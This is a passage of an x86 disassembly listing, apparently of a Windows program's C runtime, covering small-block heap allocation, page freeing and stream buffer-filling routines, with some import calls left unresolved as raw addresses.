		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A310, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A300
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2790000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A300
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A300, 0
		jnz	short loc_41E9F6
		mov	off_43A300, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A304, 0
		jnz	short loc_41EA1B
		mov	off_43A304, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A304
		mov	[esi+4], eax
		mov	off_43A304, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 289069Ah

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2780000h

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 289069Ah
		cmp	off_43C320, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C320, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC944
		nop
		call	near ptr 2780000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A310, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A304
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 289069Ah
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB324
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A304
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A300
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB324
		cmp	dword_4DB324, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C320
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C320
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C320, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A300
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 28907A3h
		nop
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C320, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C320, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC600[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C980

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h

loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
